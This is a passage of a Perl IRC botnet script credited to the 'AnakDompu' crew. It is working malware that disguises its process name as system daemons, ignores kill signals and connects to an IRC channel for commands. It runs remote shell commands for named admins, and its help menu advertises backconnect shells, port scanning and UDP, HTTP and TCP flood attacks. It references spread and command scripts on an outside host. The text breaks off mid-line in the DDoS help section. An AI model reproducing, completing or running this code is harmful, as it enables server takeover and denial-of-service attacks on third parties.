#!/usr/bin/perl # ######################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata # Anak # _____ # ( ___ ) _____ __ ___ ____ _ _ # | | \ \( _ )( \/ )( _ )( ) ( ) # _\\\\|_|_ _|_)_(_)_||_\__/|_||_|)_||_|_|_|_\ AnakDompu # ////| | | ) | | || |\/ | || ___)| | | | / crew # | |__/ /| (_) || | | || | | |_| | # (_____) (_____)(_) (_)(_) (_____) # # AnakDompu [on] Dalnet © 2008 # # ######################################################## use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.shinchi.wordpress.com # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); my $processo = $ps[rand scalar @ps]; my $linas_max='10'; my $sleep='3'; my $cmd="http://prevecamformacion.com/images/r.txt??"; my $id="http://prevecamformacion.com/images/.md/idku.txt?"; my $spread="http://prevecamformacion.com/images/.md/yes.txt?"; my @adms=("Shinchi","FuRkaN","AnakDompu"); my @canais=("#anakdompu"); ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.shinchi.wordpress.com # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## my @nickname = ("AkeZuKa", "AbankSayang", "AsMaraCinta", "ADmonZ", "AshemZ", "ArMoNe", "AstuTie", "ArManMuaLagi", "AsHiteNoYuKi", "AsTi`LuMut", "Alda^Cakhep", "AldaRiNa", "AdheLin", "AndreAz", "AgroLoG", "ASMatarz", "Angklugs", "Asmiati", "Amaludin", "AiniMul", "Aachserem", "AmsterMoLd", "ArSmoDels", "ANgeL`T`Lork", "AnDho`Ra", "AndaIkuTahu", "AndrianiKu", "ANdrakuLi", "Ansri^Cute", "AntonLUCU", "AntaraAkudanDia", "ArdanCubby", "ArniCakep", "AranKal", "ArisTeleke", "Armoniculun", "ArANSayNo", "AtakuCaruni", "AuSiBadeMu", "AureMaPende", "Axeslrod", "AKuSayangKamu", "AnDigusAe", "AyKosHUki", "Aylinklung", "AziBishi", "BaKLucipok", "BackToLaptop", "BaBonNakal", "BaNdoCewek", "BagoLSadis", "BairlahKuPergi", "BakauHuNi", "BalaJar`Nich", "BallonBiru", "BalCoklat", "BalCeMara", "Bantal`ngePink", "BaraApiCinta", "BaraNgKali", "BarangCuriaN", "BaranKEceran", "BarBarLuCu", "BarbelaTi", "Barnekat", "BarnOrak", "BarrAngkaliKu", "Barr4KUla", "BartaToMuda", "BartoTongan", "Bartomboyneh", "BasavAyach", "BasheVip", "BatchFiles", "BaumiNuman", "BayGone", "BayoCie", "Beaconek", "Bealboleh", "BeanJelek", "BeckBones", "Bed2untukmu", "BedforKamusay", "Beha36c", "BelangCowok", "Bela_Jar_ngeCok", "BeLMuarah", "BelidaCakep", "BellaMuanis", "BellHouseEnak", "BellIkanKucinta", "BellokKananTrusTerjun", "Benedis-cute", "Bergosong", "Berke-keKele", "Bernardcupu", "Bernasabonar", "Bersamalagi", "Berrikankucintha", "BettiLaveani", "BeyCintakuini", "Biagiandalam", "BicelBoneng", "BiniIdaman", "Bir-dan-anggur", "BisMalam-minggu", "BishaAjadeh", "Black-Claw", "Black-Cutes", "BlagiaPatahHati", "BlakoLakoke", "Blankpages", "BliSaMuanis", "BliardTukangUtang", "BlooNNih", "BloemBerKasa", "BloSariKucing", "Blox34Mbakar", "BlyBongBokong", "BolGegerOtak", "BoKannyaCinta", "BolaCinta", "BolongCelanaku", "BonDuluyach", "BonaKe", "BonitakuCakep", "BondanDonk", "BoKanHanyakamu", "Bookataue-book", "Boongkan", "BoorTanah", "Borcakdarah", "Bordenhitan", "BosLagiapaneh", "BotLamaBanget", "BotoLDoDolz", "BouKamutuh", "BouCakepdeh", "Bourdengaku", "BoweLCutez", "BoxerCiPoK", "BoyaLiLiCUt", "BoyeNgLoloS", "BoyCakep", "BoyMacammacam", "BoYang", "Brayeswah", "Bra36c", "Brapik-apik", "BrengCarako", "BreediMahal", "Brenang-di-laut", "BrendamDiPantai", "BrewbrowSosok", "Brewlakon", "BridgeCakep", "Bridganas", "BrinTendang", "BritisSpirtus", "BroKoKok", "BrooNonton", "Brzykarte", "BuchaMacan", "Buddikucing", "Buldarisma", "BuTuti", "Budarmansyah", "Bubursapi", "BurketLoh", "BurahMurah", "BusetLahLoh", "Byabuyar", "ByelahOke", "ByBoyCakep", "CageModel", "CalmeCute", "CameSiniDonksay", "CamKuinirusak", "Canley", "Capanni", "Caperton", "Capocaccia", "Capodilupo", "Cappuccio", "Capursi", "Caratozzolo", "Carayannopoulos", "Carlin", "Carlos", "Carlyle", "Carmichael", "Caroti", "Carper", "Cartmill", "Cascio", "Case", "Caspar", "Castelda", "Cavanagh", "Cavell", "Ceniceros", "Cerioli", "Chapman", "Charles", "Cheang", "Cherry", "Chervinsky", "Chiassino", "Chien", "Childress", "Childs", "Chinipardaz", "Chinman", "Christenson", "Christian", "Christiano", "Christie", "Christopher", "ChuPuZ", "Chupasko", "Church", "Ciampaglia", "Cicero", "Cifarelli", "Claffey", "Clancy", "Clark", "Clement", "Clifton", "Clow", "Coblenz", "Coito", "Coldren", "Colella", "Collard", "Collis", "Compton", "Compton", "Comstock", "Concino", "Condodina", "Connors", "Corey", "Cornish", "Cosmides", "Counter", "Coutaux", "Crawford", "Crocker", "Croshaw", "Croxen", "Croxton", "Cui", "Currier", "Cutler", "Cvek", "Cyders", "daSilva", "Daldalian", "Daly", "D'Ambra", "Danieli", "Dante", "Dapice", "D'arcangelo", "Das", "Dasgupta", "Daskalu", "David", "Dawkins", "DeGennaro", "DeLaPena", "del'Enclos", "deRousse", "Debroff", "Dees", "Defeciani", "Delattre", "Deleon-Rendon", "Delger", "Dell'acqua", "Deming", "Dempster", "Demusz", "Denault", "Denham", "Denison", "Desombre", "Deutsch", "D'fini", "Dicks", "Diefenbach", "Difabio", "Difronzo", "Dilworth", "Dionysius", "Dirksen", "Dockery", "Doherty", "Donahue", "Donner", "Doonan", "Dore", "Dorf", "Dosi", "Doty", "Doug", "Dowsland", "Drinker", "D'souza", "Duffin", "Durrett", "Dussault", "Dwyer", "Eardley", "Ebeling", "Eckel", "Edley", "Edner", "Edward", "Eickenhorst", "Eliasson", "Elmendorf", "Elmerick", "Elvis", "Encinas", "Enyeart", "Eppling", "Erbach", "Erdman", "Erdos", "Erez", "Espinoza", "Estes", "Etter", "Euripides", "Everett", "Fabbris", "Fagan", "Faioes", "Falco-Acosta", "Falorsi", "Faris", "Farone", "Farren", "Fasso'", "Fates", "Feigenbaum", "Fejzo", "Feldman", "Fernald", "Fernandes", "Ferrante", "Ferriell", "Feuer", "Fido", "Field", "Fink", "Finkelstein", "Finnegan", "Fiorina", "Fisk", "Fitzmaurice", "Flier", "Flores", "Folks", "Forester", "Fortes", "Fortier", "Fossey", "Fossi", "Francisco", "Franklin-Kenea", "Franz", "Frazier-Davis", "Freid", "Freundlich", "Fried", "Friedland", "Frisken", "Frowiss", "Fryberger", "Frye", "Fujii-Abe", "Fuller", "Furth", "Fusaro", "Gabrielli", "Gaggiotti", "Galeotti", "Galwey", "Gambini", "Gascaneld", "Garman", "Garonna", "Geller", "Gemberling", "Georgi", "Gerrett", "Ghorai", "Gibbens", "Gibson", "Gilbert", "Gili", "Gill", "Gillispie", "Gist", "Gleason", "Glegg", "Glendon", "Goldfarb", "Goncalves", "Good", "Goodearl", "Goody", "Gozzi", "Gravell", "Greenberg", "Greenfeld", "Griffiths", "Grigoletto", "Grummell", "Gruner", "Gruppe", "Guenthart", "Gunn", "Guo", "Ha", "Haar", "Hackman", "Hackshaw", "Haley", "Halkias", "Hallowell", "Halpert", "Hambarzumjan", "Hamer", "Hammerness", "Hand", "Hanssen", "Harding", "Hargraves", "Harlow", "Harrigan", "Hartman", "Hartmann", "Hartnett", "Harwell", "Haviaras", "Hawkes", "Hayes", "Haynes", "Hazlewood", "Heermans", "Heft", "Heiland", "Hellman", "Hellmiss", "Helprin", "Hemphill", "Henery", "Henrichs", "Hernandez", "Herrera", "Hester", "Heubert", "Heyeck", "Himmelfarb", "Hind", "Hirst", "Hitchcock", "Hoang", "Hock", "Hoffer", "Hoffman", "Hokanson", "Hokoda", "Holmes", "Holoien", "Holter", "Holway", "Holzman", "Hooker", "Hopkins", "Horsley", "Hoshida", "Hostage", "Hottle", "Howard", "Hoy", "Huey", "Huidekoper", "Hungerford", "Huntington", "Hupp", "Hurtubise", "Hutchings", "Hyde", "Iaquinta", "Ichikawa", "Igarashi", "Inamura", "Inniss", "Isaac", "Isaievych", "Isbill", "Isserman", "Iyer", "Jacenko", "Jackson", "Jagers", "Jagger", "Jagoe", "Jain", "Jamil", "Janjigian", "Jarnagin", "Jarrell", "Jay", "Jeffers", "Jellis", "Jenkins", "Jespersen", "Jewett", "Johannesson", "Johannsen", "Johns", "Jolly", "Jorgensen", "Jucks", "Juliano", "Julious", "Kabbash", "Kaboolian", "Kafadar", "Kalbfleisch", "Kaligian", "Kalil", "Kalinowski", "Kalman", "Kamel", "Kangis", "Karpouzes", "Kassower", "Kasten", "Kawachi", "Kee", "Keenan", "Keepper", "Keith", "Kelker", "Kelsey", "Kempton", "Kemsley", "Kendall", "Kerry", "Keul", "Khong", "Kimmel", "Kimmett", "Kimura", "Kindall", "Kinsley", "Kippenberger", "Kirscht", "Kittridge", "Kleckner", "Kleiman", "Kleinfelder", "Klemperer", "Kling", "Klinkenborg", "Klint", "Knuff", "Kobrick", "Koch", "Kohn", "Koivumaki", "Kommer", "Koniaris", "Konrad", "Kool", "Korzybski", "Kotter", "Kovaks", "Kraemer", "Krailo", "Krasney", "Kraus", "Kroemer", "Krysiak", "Kuenzli", "Kumar", "Kusman", "Kuwabara", "La", "Labunka", "Lafler", "Laing", "Lallemant", "Landes", "Lankes", "Lantieri", "Lanzit", "Laserna", "Lashley", "Lawless", "Lecar", "Lecce", "Leclercq", "Leite", "Lenard", "l'Enclos", "Lesser", "Lessi", "Liakos", "Lidano", "Liem", "Light", "Lightfoot", "Lim", "Linares", "Linda", "Linder", "Line", "Linehan", "Linzee", "Lippmann", "Lipponen", "Little", "Litvak", "Livernash", "Livi", "Livolsi", "Lizardo", "Locatelli", "Longworth", "Lossthelok", "Loveman", "Lowenstein", "Lozak", "Lubin", "Lucas", "Luciano", "Luczkow", "Luecke", "Lunetta", "Luoma", "Lussier", "Lutcavage", "Luzader", "MaSakSendiri", "Maccormac", "Macdonald", "Maceachern", "Macintyre", "Mackenney", "MacMillan", "Macyh", "Madigan", "Maggio", "Mahony", "Maier", "Maine-Hershey", "Maisano", "Malatesta", "Maller", "Malova", "Manalis", "Mandel", "Manganiello", "Mantovan", "March", "Marchbanks", "Marcus", "Margalit", "Margetts", "Marques", "Martinez", "Martochio", "Marton", "Marubini", "Massih", "Matalka", "Matarazzo", "Matsukata", "Mattson", "Mauzy", "Maysaro", "Mazzali", "Mazziotta", "Mcbride", "Mccaffery", "Mccall", "Mcclearn", "Mcdowell", "Mcelroy", "McFadden", "Mcghee", "Mcgoldrick", "McIlroy", "Mcintosh", "Mckenna", "Mclane", "Mclaren", "Mcnealy", "Mcnulty", "Meccariello", "Memisoglu", "Menzies", "Merikoski", "Merlani", "Merminod", "Merseth", "Merz", "Metelka", "Metropolis", "Meurer", "Michelman", "Middle", "Mieher", "Mills", "Minh", "Mini", "Minichiello", "Gonzalez", "Mitropoulos", "Mittal", "Mocroft", "Modestino", "Moeller", "Mohr", "Moiamedi", "Monque", "Montilio", "MooreDeCh.", "Morani", "Moreton", "Morrison", "Morrow", "Mortimer", "Mosher", "Mosler", "Mostafavi", "Motooka", "Mudarri", "Muello", "Mugnai", "Mulkern", "Mulroy", "Mumford", "Mussachio", "Naddeo", "Napolitano", "Nardi", "Nardone", "Naviaux", "Nayduch", "Nelson", "Nenna", "Nesci", "Neuman", "Newfeld", "Newlin", "Ng", "Ni", "Nickerson", "Nickoloff", "Nisenson", "Nitabach", "Notman", "Nuzum", "Ocougne", "Ogata", "Oh", "O'hagan", "Oldford", "Olsen", "Olson", "Olszewski", "O'malley", "Oman", "O'meara", "Opel", "Oray", "Oscaneld", "Orsi", "Ospina", "Ostrowski", "Ottaviani", "Otten", "Ouchida", "Ovid", "PaesDealmeida", "Paine", "Palayoor", "Palepu", "Pallara", "Palmitesta", "Panadero", "Panizzon", "Pantilla", "Paoletti", "Parmeggiani", "Parris", "Partridge", "Pascucci", "Patefield", "Patrick", "Pattullo", "Pavetti", "Pavlon", "Pawloski", "Paynter", "Peabody", "Pearlberg", "Pederson", "Peishel", "Penny", "Pereira", "Perko", "Perlak", "Perlman", "Perna", "Perone", "Perrimon", "Peters", "Petruzello", "Pettibone", "Pettit", "Pfister", "Pilbeam", "Pinot", "Plancon", "Plant", "Plasket", "Plous", "Pohh", "Pocobene", "Poincaire", "Pointer", "Poirier", "Polak", "Polanyi", "Politis", "Poma", "Poolman", "Powers", "Presper", "Preucel", "Prevost", "Pritchard", "Pritz", "Proietti", "Prothrow-Stith", "Puccia", "Pugh", "Pynchon", "Quaday", "Quetin", "Rabe", "Rabkin", "Radeke", "Rajagopalan", "Raney", "Rangan", "Rankin", "Rapple", "Rayport", "Redden-Tyler", "Reedquist", "Cunningham", "Reinold", "Remak", "Renick", "Repetto", "Resnik", "Rhea", "Richmond", "Rielly", "Rindos", "Rineer", "Rish", "Rivera", "Robinson", "Rocha", "Roesler", "Rogers", "Ronen", "Row", "Roby", "Robert", "Royal", "Ru", "Ruan", "Ruderman", "Ruescher", "Rush", "Ryu", "Sabatello", "Sadler", "Safire", "Sahu", "Sali", "Samson", "Sanchez-Ramirez", "Sanna", "Sapers", "Sarin", "Sartore", "Sase", "Satin", "Satta", "Satterthwaite", "Sawtell", "Sayied", "Scarponi", "Scepan", "Scharf", "Scharlemann", "Scheiner", "Schiano", "Schifini", "Schilling", "Schmitt", "Schossberger", "Schuman", "Schutte", "Schuyler", "Schwan", "Schwickrath", "Scovel", "Scudder", "Seaton", "Seeber", "Segal", "Sekler", "Selvage", "Sen", "Sennett", "Seterdahl", "Sexton", "Seyfert", "Shaikh", "Shakis", "Shankland", "Shanley", "Shar", "Shatrov", "Shavelson", "Shea", "Sheats", "Shepherd", "Sheppard", "Shepstone", "Shesko", "Shia", "Shibata", "Shimon", "Siesto", "Sigalot", "Sigini", "Signa", "Silverman", "Silvetti", "Sinsabaugh", "Sirilli", "Sites", "Skane", "Skerry", "Skoda", "Sloan", "Slowe", "Smilow", "Sniffen", "Snodgrass", "Socolow", "Solon", "Somers", "Sommariva", "Sorabella", "Sorg", "Sottak", "Soukup", "Soule", "Soultanian", "Spanier", "Sparrow", "Spaulding", "Speizer", "Spence", "Sperber", "Spicer", "Spiegelhalter", "Spiliotis", "Spinrad", "StMartin", "Stalvey", "Stam", "Stang", "Stassinopolus", "States", "Statlender", "Stefani", "Steiner", "Stephanian", "Stepniewska", "Stewart-Oaten", "Stiepock", "Stillwell", "Stock", "Stockton", "Stockwell", "Stolzenberg", "Stonich", "Storer", "Stott", "Strange", "Strauch", "Streiff", "Stringer", "Sullivan", "Sumner", "Suo", "Surdam", "Sweeting", "Sweetser", "Swindle", "Tagiuri", "Tai", "Talaugon", "Tambiah", "Tandler", "Tanowitz", "Tatar", "Taveras", "Tawn", "Tcherepnin", "Teague", "Temes", "Temmer", "Tenney", "Terracini", "Than", "Thavaneswaran", "Theodos", "Thibault", "Thisted", "Thomsen", "Throop", "Tierney", "Till", "Timmons", "Tofallis", "Tollestrup", "Tolls", "Tolman", "Tomford", "Toomer", "Topulos", "Torresi", "Torske", "Towler", "Toye", "Traebert", "Trenga", "Trewin", "Tringali", "Troiani", "Troy", "Truss", "Tsiatis", "Tsomides", "Tsukurov", "Tuck", "Tudge", "Tukan", "Turano", "Turek", "Tuttle", "Twells", "Tzamarias", "Ullman", "Untermeyer", "Upsdell", "Urban", "Urdang-Brown", "Usdan", "Uzuner", "Vacca", "Waite", "Valberg", "Valencia", "Wales", "Wallenberg", "Walter", "vanAllen", "VanZwet", "Vandenberg", "Vanheeckeren", "Warshafsky", "Wasowska", "Vasquez", "Waugh", "Weighart", "Weingarten", "Weinhaus", "Weissbourd", "Weissman", "Velasquez", "Welles", "Welsh", "Wengret", "Venne", "Verghese", "Wescott", "Wetzel", "Whately", "Whilton", "White", "Whitla", "Whittaker", "Viana", "Viano", "Wiedersheim", "Wiener", "Viens", "Vignola", "Wilder", "Wilhelm", "Wilk", "Wilkin", "Wilkinson", "Villarreal", "Willstatter", "Wilson", "Vitali", "Viviani", "Voigt", "Wolk", "VonHoffman", "Woo", "Wooden", "Woods", "Woods-Powell", "Vorhaus", "Votey", "Yacono", "Yamane", "Yankee", "Yarchuk", "Yates", "Ybarra", "Yedidia", "Yesson", "Yetiv", "Yoffe", "Yoo", "Youk-See", "Yu", "Zachary", "Zahedi", "Zangwill", "Zegans", "Zerbini", "Zoldak", "Zucconi", "Zurn", "Zwiers"); my @rname = ("Ketika Rasa Tak Dapat Di UngkaP", "PowereD By AnakDompu", "SeRinG PuTus Cinta", "Aku Mudah Jatuh Cinta", "ModeL Bug1L AnakDompu", "Jpop And JrocK Lyric", "Ketika Rasa Tak Dapat Diungkap Bro", "Percuma Kita Bersama DinDa", "Manusia Bodoh", "Coli sambil nonton film biru", "Lihat Cewek2 Pake tanktop", "Power of Keindahan", "TigaBelas DelapanTujuh", "Menyelam Sambil Minum Es Krim", "LaGi Chat Ama Cewek Gw", "Apa Lho Lihat-lihat", "Gw Emang Ganteng", "ModeL Henca 2008", "Dari Dompu Ke Mataram", "Dari Mata Turun Kehati", "Saya Bukan Siapa-siapa", "Ketika cinta penuh dengan makna", "Jangan Tanya AKu ini siapa?", "AnakDompu Was Here!!", "Samada Aka Sia sanai-nai", "Cou nggara Mu Cinae", "MoDeL Gaya EnamSembilan", "Kamu LIhat Apa, Kangen Yach", "Cinta, Damai dan Sex?", "Founder Rumah Sakit Jiwa", "Selamat Jalan Sayang Shinchi Disini", "SaMaDa Sampe made", "Tiada Hari Tanpa Sebuah Mimpi", "Aku Benci Semua Yang Tak Pasti", "Suka Sama Aku Yach", "Whois Lagi Donk say..", "Samada aka Nggomike", "Dj Shinchi Memang Cakep", "Yang Whois Orang Gila", "Random Is OFF", "n0b0d1 p3tt1n9 w1th m3", "AKu Adalah Aku, KAmu siapa", "DouMaLinGi", "Ashem bin pahit", "Lihat Aku Yang Cakep Khan", "ISabela Adalah Kisah", "LA Hami Di La Hima", "Sampela Lao La Sampula", "Marewo ro marawa", "Manangi ro masamangi", "Na SampeLuku", "Power Of Kerinduan", "On The Fly apa yach", "Founder Henca", "Jalan Cinta Kita", "Jalan Siapa Ini", "Allah Hu Akbar", "Im your god idiot", "Chat Sambil Baca Komik Hentai", "Manga Hentai", "Intan Dan Berlian", "Putri Kesepian", "Keep it to yourself!", "Kemana Aku harus pergi", "Powered Bi ModeL Shinchi", "Kekuatan Cinta dan Sayang", "Aku cinta padamu SuSi", "Cinta Kau dimana?", "Aku Disini cinta!", "LInux atau windows", "PariA PahiT PeNuh Rasa", "Mencari cinta Tuk Shinchi", "Hantu Genit DaN ImuT", "Cowok Cupu LawaN Cewe Hacker", "Cewek genit Jauh2 Ya", "Kekuatan Dalam Keindahan", "Ndai Sara'a Sama", "Gunung Dua Di Raba", "Ompu Hima Lao Ompu Lembo", "VsMode Di Rasa", "Scan Mode On", "Set Mode Diam", "Cinta tak dapat di ungkap dengan kata", "Dia adalah Cewekku", "SamPela", "Shinchi Is Back"); my $nick = $nickname[rand scalar @nickname]; my $ircname = $nickname[rand scalar @nickname]; my $realname = $rname[rand scalar @rname]; $servidor='irc.dal.net' unless $servidor; my $porta='6667'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; chdir("/"); ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.shinchi.wordpress.com # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## #Connect $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Masalah fork: $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.17 AnakDompu\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #End of Connect ################################################## # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ # # www.shinchi.wordpress.com # # Created By Shinchi # # #AnakDompu # # irc.dal.net # ################################################## # PREFIX # ###################### if ($args =~ /^(\Q$meunick\E|\!model)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!model" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } ###################### # End of PREFIX # ###################### elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { ###################### # Help # ###################### if ($funcarg =~ /^help/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Select the function you want help for"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@ddos"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@scanscan"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@backconnect"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@shell"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@portscanner"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Or if you want too know all the commands type:"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@commands"); } if ($funcarg =~ /^ddos/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 There are 3 DDossers in this bot"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 UDPFlood, HTTPFlood and TCPFlood"); sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !model 7@udpflood